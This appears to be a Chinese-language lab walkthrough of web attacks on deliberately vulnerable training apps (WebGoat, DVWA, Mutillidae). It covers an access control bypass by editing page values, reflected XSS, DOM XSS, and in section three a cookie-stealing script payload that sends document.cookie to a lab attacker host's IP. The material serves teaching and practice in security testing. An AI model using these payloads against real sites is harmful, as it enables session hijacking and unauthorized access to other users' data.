一.使用浏览器绕过客户端控制
1.登陆WebGoat, 点击Access Control Flaws,转到 LAB:Role Based AcceControl→Stage 1:Bypass Business Layer Access Control (阶段 1:绕过业务层访问控制)
2.使用tomeat的登陆凭证(tom, tom)登陆这个表单,并用F12启用firefox的开发者工具
3.来检查一下员工表单。我们可以看到一个值为105的html标签: Tom Cat(employee)
4.接着转到开发者工具中的Network选项卡并单击ViewProfile,可以注意到请求中有一个名为employee_id的参数,其值为105:
5. 单击ListStaff 返回列表。
6.更改为开发者工具中的Inspector选项卡。
7.双击标记的值(105)将其改变为101。尝试一下是否可以通过改变这个值查看其他用户的信息。
8. 再次点击 ViewProfile :
9.现在, WebGoat给的目标是使用tom的账户删除tom的个人信息。来尝试一下,点击ListStaff 返回列表
10.注意ViewProfile按钮
11. 它的名称是 action,值为 ViewProfile,我们将其改为 DeleteProfile
12.可以发现按钮上面的字已成功更改,点击DeleteProfile后,即可完成目标任务。
二.识别跨站脚本漏洞
1. 我们将使用易受攻击的 Web 应用程序(DVWA)来完成这个小节。使用默认的管理凭据(admin 作为用户名和密码)登录,然后到 XSS reflected(反射 xss)。
2. 测试漏洞的第一步是观察应用程序的正常响应。在文本框中填写一个名称字符串并且点击提交。在这里我们填写的是:Bob
3.应用程序使用的是我们输入的字符串。如果我们引入一些特殊字符或者数字而不是一个有效的名称字符串,会发生什么呢?让我们试试:<'this is the first test'>
4.现在,我们看到我们在文本框输入的任何内容都将出现在响应中;也就是说,它成为了响应 HTML 页面的一部分。让我们检查页面的源代码来分析它是如何显示信息的:
5.试着在普通输入的后面加上非常简单的脚本代码:Bob<script>alert('xss')</script>
该页面执行了脚本,导致弹出了警告框,因此该页面容易收到XSS攻击。
6,现在,检查源代码,看看发生了什么:
看起来我们的输入被处理得好像它是 HTML 代码的一部分;浏览器解释了<seript>标签,并在其中执行代码,显示出了警告。
三.利用 xss 获取 Cookie
1.在Kali Linux的终端上运行以下命令来开启HTTP服务;
2.然后登陆 DVWA,再转到 XSS reflection 下;
3.在文本框中输入以下内容(192.168.56.10 为Kali主机IP 地址):Bob<script>document.write('<img src="http://192.168.56.10:88/'+document.cookie+"">");</script>
4.查看终端,你会发现出现以下信息;
四.利用 DOM XSS
以下是在Web应用程序中检测和利用此漏洞的步骤:
1.在易受攻击的虚拟机VM_1中,转到Mutillidae I1 | OWASP 2013 | XSS | DOM | HTMLSStorage
2.这个练习会展示一个表单,用于在浏览器的本地记录中存储信息和相应的session。然后在“网络”选项卡中启用开发人员工具。
3.尝试添加一些数据,我们发现在开发者工具中并没有进行网络通信,绿色条显示是我们输入的值:
4.如果我们检查"Add New"按钮,我们看到它在单击时调用了一个函数 addItemToStorage:
5.现在,转到 Debugger 选项卡并查找 addItemToStorage 函数,我们在 index.php 的第 1064行找到了这个函数:
6.所以我们尝试设置一个包含 HTML 代码的键值。添加以下键作为键的新值:Cookbooktest <H1> 3</ H1>
7.如果浏览器解释 HTML 代码,则很可能也会出现 JavaScript 块。添加一个新条目,其中包含以下键值:Cookbook test <img sre = X onerror ="alert('DOM XSS')">